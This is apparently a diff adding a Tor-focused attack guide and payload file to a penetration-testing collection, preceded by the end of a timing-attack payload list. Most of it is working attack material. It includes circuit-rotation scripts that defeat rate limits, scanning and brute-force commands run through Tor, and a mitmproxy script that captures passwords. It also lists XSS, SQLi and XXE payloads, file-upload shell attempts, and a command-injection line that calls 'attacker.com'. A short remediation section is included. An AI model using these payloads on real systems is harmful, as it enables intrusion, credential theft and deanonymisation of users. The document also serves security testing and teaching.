# URL validation ReDoS
url=http://aaaaaaaaaaaaaaaaaaaaa....
# ============================================
# 22. CAPTCHA TIMING
# ============================================
# Correct CAPTCHA response
captcha=correct_answer
# Takes longer to validate
# Incorrect CAPTCHA
captcha=wrong_answer
# Fails fast
# ============================================
# 23. WEBHOOK TIMING
# ============================================
# Valid webhook URLs
webhook_url=https://attacker.com/callback
# Timing reveals if webhook is called
# Invalid webhook URLs
webhook_url=invalid_url
# Fails fast without making request
# ============================================
# 24. FILE UPLOAD TIMING
# ============================================
# Upload allowed file types
file=image.jpg
# Takes time to process
# Upload disallowed file types
file=shell.php
# Fails fast
# ============================================
# 25. API VERSION TIMING
# ============================================
GET /api/v1/users (newer version with more checks)
GET /api/v0/users (older version with fewer checks)
# Different timing reveals version differences
# ============================================
# 26. SUBDOMAIN TIMING
# ============================================
# Check subdomain existence via timing
GET https://admin.example.com
GET https://api.example.com
GET https://internal.example.com
GET https://nonexistent.example.com
# Existing subdomains may respond differently
# ============================================
# 27. HEADER VALIDATION TIMING
# ============================================
# Valid authentication headers
Authorization: Bearer eyJhbGc...
# Takes time to validate JWT
# Invalid headers
Authorization: Bearer invalid
# Fails fast
# ============================================
# 28. CRYPTO OPERATION TIMING
# ============================================
# RSA operations with different keys
public_key=<valid_key>
public_key=<invalid_key>
# Timing leaks key information
# AES operations
plaintext=aaaaaaaa
plaintext=bbbbbbbb
# Timing may leak key bits
# ============================================
# 29. BUSINESS LOGIC TIMING
# ============================================
# Discount code validation
discount_code=VALID2024
discount_code=INVALID
# Valid codes take longer to validate
# Referral code timing
referral=VALID_REFERRAL
referral=INVALID_CODE
# ============================================
# 30. TIME-BASED BLIND ATTACKS
# ============================================
# XML External Entity with timing
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
# Timing reveals if file exists
# SSRF with timing
url=http://localhost:22
url=http://localhost:80
url=http://localhost:3306
# Open ports take longer to timeout
# ============================================
# STATISTICAL TIMING ANALYSIS
# ============================================
# For all above payloads, use statistical methods:
# 1. Send each payload 50-100 times
# 2. Calculate mean and standard deviation
# 3. Compare distributions
# 4. Use t-test or similar to determine significance
# 5. Account for network jitter with multiple measurements
+618
View File
@@ -0,0 +1,618 @@
# Tor-Based Attacks and Anonymity Testing
## Description
Tor (The Onion Router) is a network designed for anonymous communication. While Tor provides privacy benefits, it also presents unique security challenges for web applications. Attackers can abuse Tor to conduct attacks while remaining anonymous, and applications can be vulnerable to Tor-specific exploitation techniques. This guide covers vulnerabilities related to Tor usage and testing methodologies.
## Understanding Tor in Security Context
Tor routes internet traffic through multiple relay nodes, making it difficult to trace the origin. For security testing:
- **Attackers** use Tor to hide their identity during attacks
- **Applications** may have Tor-specific vulnerabilities
- **Onion services** (.onion sites) have unique attack surfaces
- **Exit nodes** can manipulate unencrypted traffic
## Common Tor-Related Vulnerabilities
### 1. **Tor Exit Node Traffic Manipulation**
Malicious exit nodes can intercept and modify unencrypted traffic.
### 2. **Tor User Deanonymization**
Exploits that can reveal the real IP address of Tor users.
### 3. **Onion Service Enumeration**
Discovering hidden services and their vulnerabilities.
### 4. **Tor Circuit Manipulation**
Attacks targeting Tor's circuit creation and routing.
### 5. **Fingerprinting Tor Users**
Detecting and fingerprinting users accessing via Tor.
### 6. **Rate Limiting Bypass via Tor**
Using Tor to bypass IP-based rate limiting.
### 7. **Hidden Service Authorization Bypass**
Exploiting authentication in Tor hidden services.
### 8. **Timing Attacks on Tor**
Analyzing timing patterns to deanonymize users.
### 9. **Tor Browser Exploitation**
Browser-specific vulnerabilities affecting Tor Browser.
### 10. **Man-in-the-Middle at Exit Nodes**
SSL stripping and traffic interception at exit nodes.
## Testing Methodology & PoC Examples
### PoC 1: Detecting Tor Users
**Vulnerability:** Application doesn't handle Tor users appropriately.
**Detection Methods:**
```python
# Check against Tor exit node list
import requests
def is_tor_exit_node(ip_address):
# Tor Project provides exit node list
tor_list_url = "https://check.torproject.org/torbulkexitlist"
try:
response = requests.get(tor_list_url, timeout=10)
tor_ips = response.text.split('\n')
return ip_address in tor_ips
except:
return False
# Usage
user_ip = "1.2.3.4"
if is_tor_exit_node(user_ip):
print("User is connecting via Tor")
```
**HTTP Headers to Check:**
```http
X-Forwarded-For: <tor_exit_node_ip>
Via: 1.1 tor-proxy
```
---
### PoC 2: Rate Limiting Bypass via Tor
**Vulnerability:** IP-based rate limiting can be bypassed using Tor.
**Attack Technique:**
```python
import requests
import time
# Using Tor's SOCKS proxy
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
def rotate_tor_circuit():
# Connect to Tor control port and request new circuit
from stem import Signal
from stem.control import Controller
with Controller.from_port(port=9051) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM)
time.sleep(controller.get_newnym_wait())
# Attack: Bypass rate limiting
for i in range(100):
try:
response = requests.post(
'https://example.com/api/endpoint',
data={'attack': 'payload'},
proxies=proxies
)
print(f"Request {i}: {response.status_code}")
# Get new Tor circuit every 10 requests
if i % 10 == 0:
rotate_tor_circuit()
except Exception as e:
print(f"Error: {e}")
```
---
### PoC 3: Onion Service Enumeration
**Vulnerability:** Hidden services can be discovered and mapped.
**Enumeration Tools:**
```bash
# Using OnionScan
onionscan --verbose http://example.onion
# Using ahmia.fi search
curl "https://ahmia.fi/search/?q=keyword"
# Custom enumeration script
python3 onion_scanner.py --target example.onion
```
**Python Onion Scanner:**
```python
import requests
import re
def scan_onion_service(onion_url):
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
try:
# Connect to onion service
response = requests.get(onion_url, proxies=proxies, timeout=30)
# Extract information
print(f"Status: {response.status_code}")
print(f"Server: {response.headers.get('Server', 'Unknown')}")
# Look for other onion links
onion_links = re.findall(r'[a-z2-7]{16,56}\.onion', response.text)
print(f"Found {len(onion_links)} onion links")
return response
except Exception as e:
print(f"Error: {e}")
return None
# Usage
scan_onion_service('http://example.onion')
```
---
### PoC 4: Exit Node Traffic Interception
**Vulnerability:** Unencrypted traffic through Tor can be intercepted at exit nodes.
**Attack Scenario:**
```bash
# Running a malicious exit node
# Exit node intercepts all HTTP traffic
# Capture credentials from HTTP sites
tcpdump -i eth0 -A 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
# SSL Strip attack
sslstrip -l 8080
# DNS spoofing at exit node
# Redirect traffic to attacker-controlled servers
```
**Python Exit Node Simulator (Educational):**
```python
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
# Intercept and log credentials
if flow.request.method == "POST":
print(f"POST to: {flow.request.pretty_url}")
print(f"Data: {flow.request.content}")
# Modify response
if "password" in str(flow.request.content):
print("[!] Password captured!")
```
---
### PoC 5: Tor Browser Fingerprinting
**Vulnerability:** Tor Browser users can be fingerprinted despite anonymity.
**Fingerprinting Techniques:**
```javascript
// JavaScript fingerprinting
function fingerprintTorUser() {
const fingerprint = {
userAgent: navigator.userAgent,
language: navigator.language,
platform: navigator.platform,
screenResolution: `${screen.width}x${screen.height}`,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
plugins: Array.from(navigator.plugins).map(p => p.name),
canvas: getCanvasFingerprint(),
webgl: getWebGLFingerprint(),
fonts: detectFonts()
};
// Send to server
fetch('/track', {
method: 'POST',
body: JSON.stringify(fingerprint)
});
}
function getCanvasFingerprint() {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Fingerprint', 2, 2);
return canvas.toDataURL();
}
```
**Server-Side Detection:**
```python
def detect_tor_browser(request):
user_agent = request.headers.get('User-Agent', '')
# Tor Browser has specific UA patterns
tor_patterns = [
'Mozilla/5.0 (Windows NT 10.0; rv:', # Tor Browser on Windows
'Mozilla/5.0 (X11; Linux x86_64; rv:', # Tor Browser on Linux
'Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:', # Tor Browser on macOS
]
for pattern in tor_patterns:
if pattern in user_agent and 'Gecko' in user_agent:
return True
return False
```
---
### PoC 6: Hidden Service Authentication Bypass
**Vulnerability:** Weak authentication on .onion services.
**Testing Methods:**
```bash
# Test for default credentials
curl --socks5-hostname 127.0.0.1:9050 \
http://example.onion/admin \
-u admin:admin
# Test for authentication bypass
curl --socks5-hostname 127.0.0.1:9050 \
-H "Authorization: Bearer null" \
http://example.onion/api
# Directory bruteforce on onion service
gobuster dir \
--proxy socks5://127.0.0.1:9050 \
-u http://example.onion \
-w wordlist.txt
```
---
### PoC 7: Timing Analysis for Deanonymization
**Vulnerability:** Traffic timing patterns can reveal user identity.
**Attack Concept:**
```python
import time
import requests
def timing_attack_tor(target_url):
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
timings = []
# Collect timing samples
for i in range(100):
start = time.time()
try:
response = requests.get(target_url, proxies=proxies, timeout=30)
elapsed = time.time() - start
timings.append(elapsed)
print(f"Request {i}: {elapsed:.4f}s")
except Exception as e:
print(f"Error: {e}")
time.sleep(0.1)
# Analyze timing patterns
import statistics
print(f"Mean: {statistics.mean(timings):.4f}s")
print(f"Std Dev: {statistics.stdev(timings):.4f}s")
return timings
```
---
### PoC 8: Onion Service Discovery via SSRF
**Vulnerability:** SSRF can be used to scan internal onion services.
**Payload:**
```http
POST /api/fetch HTTP/1.1
Host: example.com
Content-Type: application/json
```
**Python SSRF Scanner:**
```python
import requests
# Known onion service TLDs
onion_services = [
'http://3g2upl4pq6kufc4m.onion', # DuckDuckGo
'http://thehiddenwiki.onion',
'http://internal-service.onion'
]
for service in onion_services:
try:
# Attempt SSRF
response = requests.post(
'https://vulnerable-app.com/api/fetch',
json={'url': service},
timeout=60
)
if response.status_code == 200:
print(f"[+] Accessible: {service}")
print(response.text[:200])
except Exception as e:
print(f"[-] Failed: {service}")
```
---
### PoC 9: Tor Circuit Hijacking
**Vulnerability:** Malicious relays can manipulate circuits.
**Concept (Theoretical):**
```python
# Controlling both guard and exit nodes
# Attacker runs malicious Tor nodes
def attempt_circuit_correlation():
# Monitor guard node traffic
guard_traffic = capture_guard_traffic()
# Monitor exit node traffic
exit_traffic = capture_exit_traffic()
# Correlate timing and packet sizes
for guard_packet in guard_traffic:
for exit_packet in exit_traffic:
if correlate(guard_packet, exit_packet):
print("[!] Circuit identified!")
print(f"User: {guard_packet.source}")
print(f"Destination: {exit_packet.destination}")
```
---
### PoC 10: Onion Service Vulnerability Scanning
**Vulnerability:** Onion services may have standard web vulnerabilities.
**Scanning with Burp Suite:**
```bash
# Configure Burp to use Tor SOCKS proxy
# Settings -> Network -> SOCKS Proxy
# Host: 127.0.0.1
# Port: 9050
# Then scan onion service normally
```
**Automated Scanning:**
```bash
# Using nikto through Tor
proxychains nikto -h http://example.onion
# Using sqlmap through Tor
sqlmap -u "http://example.onion/page?id=1" \
--tor --tor-type=SOCKS5 --check-tor
# Using nmap through Tor
proxychains nmap -sT -Pn -p 80,443 example.onion
```
**Python Vulnerability Scanner:**
```python
import requests
from bs4 import BeautifulSoup
def scan_onion_vulns(onion_url):
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
tests = {
'XSS': ['<script>alert(1)</script>', '"><img src=x onerror=alert(1)>'],
'SQLi': ["' OR '1'='1", "admin'--"],
'Command Injection': ['; ls', '| whoami'],
'Path Traversal': ['../../etc/passwd', '....//....//etc/passwd']
}
for vuln_type, payloads in tests.items():
print(f"Testing {vuln_type}...")
for payload in payloads:
try:
response = requests.get(
f"{onion_url}?input={payload}",
proxies=proxies,
timeout=30
)
# Basic detection
if payload in response.text:
print(f"[!] Potential {vuln_type} vulnerability")
except:
pass
```
---
## Additional Tor-Related Testing Techniques
### 11. **Tor Network Consensus Manipulation**
Testing if application validates Tor consensus data.
### 12. **Hidden Service Descriptor Attacks**
Manipulating hidden service descriptors.
### 13. **Onion Service DoS**
Testing resilience against DoS via Tor.
### 14. **Exit Node Detection Bypass**
Evading Tor exit node blacklists.
### 15. **Tor Bridge Enumeration**
Discovering and testing Tor bridges.
## Tools for Tor-Based Testing
### 1. **Tor Network Tools**
```bash
# Start Tor
tor
# Tor with specific exit node
tor --ExitNodes {CountryCode}
# Check Tor connection
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/
# Get new Tor identity
killall -HUP tor
```
### 2. **Python with Tor**
```python
import requests
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
response = requests.get('https://example.com', proxies=proxies)
```
### 3. **Stem Library (Tor Controller)**
```python
from stem import Signal
from stem.control import Controller
with Controller.from_port(port=9051) as controller:
controller.authenticate()
# Get new identity
controller.signal(Signal.NEWNYM)
# Get circuit info
for circ in controller.get_circuits():
print(f"Circuit {circ.id}: {circ.path}")
```
### 4. **OnionScan**
```bash
# Scan onion service
onionscan --verbose http://example.onion
# Scan with specific tests
onionscan --mode standard http://example.onion
```
### 5. **Proxychains**
```bash
# Configure proxychains for Tor
# Edit /etc/proxychains.conf
# socks5 127.0.0.1 9050
# Use with any tool
proxychains curl https://example.com
proxychains nmap -sT target.onion
```
## Exploitation Impact
- **Critical:** Complete deanonymization of Tor users
- **High:** Traffic interception, hidden service compromise
- **Medium:** Fingerprinting, rate limit bypass
- **Privacy Impact:** Loss of anonymity, user tracking
## Remediation
### 1. **Detect and Handle Tor Users**
```python
def handle_tor_traffic(request):
if is_tor_exit_node(request.ip):
# Apply additional security measures
require_captcha()
enforce_stricter_rate_limits()
```
### 2. **Use HTTPS Always**
```http
Strict-Transport-Security: max-age=31536000; includeSubDomains
```
### 3. **Implement Onion Service Security**
```
# torrc configuration
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
HiddenServiceAuthorizeClient stealth client1
```
### 4. **Rate Limiting Beyond IP**
```python
# Use multiple factors for rate limiting
rate_limit_key = f"{user_session}:{user_agent}:{behavior_pattern}"
```
### 5. **Prevent Fingerprinting**
```javascript
// Disable fingerprinting vectors
Object.defineProperty(navigator, 'plugins', { get: () => [] });
```
### 6. **Monitor for Tor Abuse**
```python
# Log and monitor Tor connections
if is_tor_exit_node(ip):
logger.warning(f"Tor connection from {ip}")
check_for_abuse_patterns()
```
### 7. **Implement Circuit Padding**
For onion services, use circuit padding to resist timing attacks.
### 8. **Validate Tor Consensus**
Verify Tor network consensus to detect manipulation.
## References
- [Tor Project Official Documentation](https://www.torproject.org/docs/)
- [Tor Exit Node List](https://check.torproject.org/torbulkexitlist)
- [OnionScan Tool](https://github.com/s-rah/onionscan)
- [Tor Browser Design](https://2019.www.torproject.org/projects/torbrowser/design/)
- [Attacks on Tor](https://github.com/Attacks-on-Tor/Attacks-on-Tor)
## Payloads
See `tor-based-payloads.txt` for a comprehensive list of Tor-related attack payloads and testing techniques.
## Payloads
See `tor-based-payloads.txt` for a comprehensive list of Tor-related attack payloads and testing techniques.
+444
View File
@@ -0,0 +1,444 @@
# Tor-Based Attack Payloads
# ============================================
# 1. TOR CONNECTION SETUP
# ============================================
# Tor SOCKS proxy configuration
SOCKS_PROXY=socks5h://127.0.0.1:9050
HTTP_PROXY=http://127.0.0.1:8118 # Polipo/Privoxy
# Test Tor connection
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/
curl --socks5-hostname 127.0.0.1:9050 https://icanhazip.com
# ============================================
# 2. TOR EXIT NODE LIST CHECKING
# ============================================
# Get Tor exit node list
curl https://check.torproject.org/torbulkexitlist
# Check if IP is Tor exit node
curl "https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=TARGET_IP"
# DNS-based Tor exit node check
# Query: REVERSE_IP.REVERSE_TARGET_IP.ip-port.exitlist.torproject.org
# Example: dig 1.0.0.127.80.1.0.168.192.ip-port.exitlist.torproject.org
# ============================================
# 3. RATE LIMITING BYPASS
# ============================================
# Rotate Tor circuits for new IP
# Using stem library
# controller.signal(Signal.NEWNYM)
# Automated requests with circuit rotation
# Request 1-10 with IP A
# Rotate circuit (get new IP)
# Request 11-20 with IP B
# Continue...
# Testing rate limits
for i in {1..100}; do
curl --socks5-hostname 127.0.0.1:9050 https://example.com/api/endpoint
# Rotate every 10 requests
if [ $((i % 10)) -eq 0 ]; then
killall -HUP tor
sleep 5
fi
done
# ============================================
# 4. ONION SERVICE ENUMERATION
# ============================================
# Common onion service patterns
http://*.onion
http://*.onion/admin
http://*.onion/login
http://*.onion/panel
http://*.onion/api
# Known onion services for testing
http://3g2upl4pq6kufc4m.onion (DuckDuckGo)
http://thehiddenwiki.onion
http://darknetlive.onion
# Subdirectory enumeration
/admin
/panel
/dashboard
/api
/login
/register
/upload
/download
/files
# ============================================
# 5. ONION SERVICE SCANNING
# ============================================
# Port scanning through Tor
proxychains nmap -sT -Pn -p 80,443,8080 example.onion
# Service detection
proxychains nmap -sV -p 80 example.onion
# Directory bruteforce
gobuster dir --proxy socks5://127.0.0.1:9050 -u http://example.onion -w wordlist.txt
# Nikto scan
proxychains nikto -h http://example.onion
# ============================================
# 6. TOR BROWSER FINGERPRINTING EVASION
# ============================================
# Tor Browser User-Agent strings
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
# Standard Tor Browser headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
# ============================================
# 7. HIDDEN SERVICE AUTHENTICATION TESTING
# ============================================
# Test default credentials on onion services
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=admin&password=admin"
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=admin&password=password"
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=administrator&password=administrator"
# Authentication bypass attempts
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin -H "Authorization: Bearer null"
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin -H "Cookie: admin=true"
# ============================================
# 8. SSRF TO INTERNAL ONION SERVICES
# ============================================
# SSRF payloads targeting onion services
url=http://internal.onion
url=http://admin.onion
url=http://localhost.onion
url=http://192.168.1.1.onion
# Testing internal onion service access
{"webhook_url": "http://internal.onion/api"}
{"callback": "http://admin-panel.onion"}
# ============================================
# 9. SQL INJECTION ON ONION SERVICES
# ============================================
# Test SQLi through Tor
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/page?id=1' OR '1'='1"
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/search?q=test' UNION SELECT NULL--"
# Automated SQLi testing
sqlmap -u "http://example.onion/page?id=1" --tor --tor-type=SOCKS5 --check-tor
# ============================================
# 10. XSS ON ONION SERVICES
# ============================================
# XSS payloads for onion services
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.cookie)>
<svg/onload=alert(1)>
# Reflected XSS testing
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/search?q=<script>alert(1)</script>"
# ============================================
# 11. COMMAND INJECTION ON ONION SERVICES
# ============================================
# Command injection payloads
; whoami
| ls -la
` cat /etc/passwd`
$(curl attacker.com)
# Testing command injection
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/ping?host=127.0.0.1; whoami"
# ============================================
# 12. FILE UPLOAD ON ONION SERVICES
# ============================================
# Upload malicious files through Tor
curl --socks5-hostname 127.0.0.1:9050 -F "file=@shell.php" http://example.onion/upload
curl --socks5-hostname 127.0.0.1:9050 -F "file=@backdoor.jsp" http://example.onion/upload
# ============================================
# 13. TOR CIRCUIT MANIPULATION
# ============================================
# Request specific exit nodes
# In torrc:
ExitNodes {US}
StrictNodes 1
# Avoid specific exit nodes
ExcludeExitNodes {CN},{RU}
# Use specific entry guards
EntryNodes $fingerprint1,$fingerprint2
# ============================================
# 14. TIMING ATTACKS THROUGH TOR
# ============================================
# Measure response times for timing attacks
for i in {1..100}; do
TIME=$(curl --socks5-hostname 127.0.0.1:9050 -w "%{time_total}" -o /dev/null -s "http://example.onion/login?user=admin")
echo "Request $i: $TIME seconds"
done
# ============================================
# 15. ONION SERVICE DOS
# ============================================
# Stress testing onion service
ab -X 127.0.0.1:8118 -n 10000 -c 100 http://example.onion/
# Slowloris through Tor
slowloris --proxy 127.0.0.1:9050 example.onion
# ============================================
# 16. EXIT NODE DETECTION BYPASS
# ============================================
# Rotate circuits to bypass blacklists
# After each blocked request, get new circuit
killall -HUP tor
sleep 5
# Retry request
# Use bridges to hide Tor usage
# In torrc:
UseBridges 1
Bridge obfs4 IP:PORT FINGERPRINT
# ============================================
# 17. ONION SERVICE DISCOVERY
# ============================================
# Search for onion services
# Ahmia.fi search API
curl "https://ahmia.fi/search/?q=keyword"
# Dark web search engines
# notEvil: http://hss3uro2hsxfogfq.onion
# Torch: http://xmh57jrzrnw6insl.onion
# ============================================
# 18. HIDDEN SERVICE DESCRIPTOR ATTACKS
# ============================================
# Query hidden service descriptor
# HSDir servers store descriptors
# Descriptor ID calculated from onion address
# Monitor descriptor uploads
# Timing analysis on descriptor publication
# ============================================
# 19. TOR BROWSER EXPLOIT TESTING
# ============================================
# JavaScript exploits targeting Tor Browser
<script>
// Attempt to detect Tor Browser
if (navigator.userAgent.includes('Firefox')) {
// Tor Browser specific behavior
}
// Canvas fingerprinting (blocked in Tor Browser)
var canvas = document.createElement('canvas');
// Will return generic fingerprint in Tor Browser
</script>
# ============================================
# 20. ONION SERVICE API TESTING
# ============================================
# API endpoint enumeration
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/v1/
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/v2/
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/users
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/admin
# GraphQL on onion services
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}'
# ============================================
# 21. TOR BRIDGE ENUMERATION
# ============================================
# Request bridges from BridgeDB
curl https://bridges.torproject.org/
# Test bridge connectivity
# In torrc:
UseBridges 1
Bridge obfs4 BRIDGE_IP:PORT FINGERPRINT cert=CERT iat-mode=0
# ============================================
# 22. ONION SERVICE CORS MISCONFIGURATION
# ============================================
# Test CORS on onion services
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \
-H "Origin: http://attacker.onion"
# Check CORS headers
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# ============================================
# 23. WEBSOCKET ON ONION SERVICES
# ============================================
# WebSocket connections through Tor
wscat --proxy socks5://127.0.0.1:9050 -c ws://example.onion/ws
# Test WebSocket security
{"type":"auth","token":"' OR '1'='1"}
# ============================================
# 24. ONION SERVICE IDOR
# ============================================
# Test IDOR on onion services
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/1
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/2
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/999
# ============================================
# 25. TOR CONSENSUS MANIPULATION
# ============================================
# Download Tor consensus
curl https://collector.torproject.org/recent/relay-descriptors/consensuses/
# Analyze relay information
# Identify potential malicious relays
# ============================================
# 26. ONION SERVICE JWT ATTACKS
# ============================================
# Test JWT on onion services
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9."
# JWT weak secret
# Brute force JWT secret on onion service
# ============================================
# 27. ONION SERVICE XXE
# ============================================
# XXE payload for onion services
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
# ============================================
# 28. ONION SERVICE SSRF
# ============================================
# SSRF payloads targeting internal onion services
{"url": "http://internal.onion"}
{"url": "http://127.0.0.1:9050"}
{"url": "http://localhost"}
# ============================================
# 29. TOR DIRECTORY AUTHORITY MONITORING
# ============================================
# Monitor directory authorities
# 9 directory authorities in Tor network
# moria1, tor26, dizum, gabelmoo, maatuska, longclaw, bastet, faravahar, Serge
# Query directory authority
curl http://128.31.0.34:9131/tor/status-vote/current/consensus
# ============================================
# 30. ONION SERVICE SECURITY HEADERS
# ============================================
# Check security headers on onion services
curl --socks5-hostname 127.0.0.1:9050 -I http://example.onion
# Missing security headers:
# Strict-Transport-Security
# X-Content-Type-Options
# X-Frame-Options
# Content-Security-Policy
# ============================================
# PYTHON TOR AUTOMATION EXAMPLES
# ============================================
# Python with Tor SOCKS proxy
import requests
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
response = requests.get('http://example.onion', proxies=proxies)
# Python with Stem (Tor controller)
from stem import Signal
from stem.control import Controller
with Controller.from_port(port=9051) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM) # New identity
# ============================================
# BASH TOR AUTOMATION EXAMPLES
# ============================================
# Rotate Tor identity
killall -HUP tor
# Check current Tor IP
curl --socks5-hostname 127.0.0.1:9050 https://icanhazip.com
# Automated onion service scanner
#!/bin/bash
ONIONS=("example1.onion" "example2.onion" "example3.onion")
for onion in "${ONIONS[@]}"; do
echo "Scanning $onion"
proxychains nmap -sT -Pn -p 80,443 $onion
proxychains nikto -h http://$onion
done
# ============================================
# TOR CIRCUIT INFORMATION
# ============================================
# Get current circuit info
# Using Tor control port (9051)
echo -e 'AUTHENTICATE ""\r\nGETINFO circuit-status\r\nQUIT' | nc 127.0.0.1 9051
# Monitor circuit creation
# Using stem library to get real-time circuit events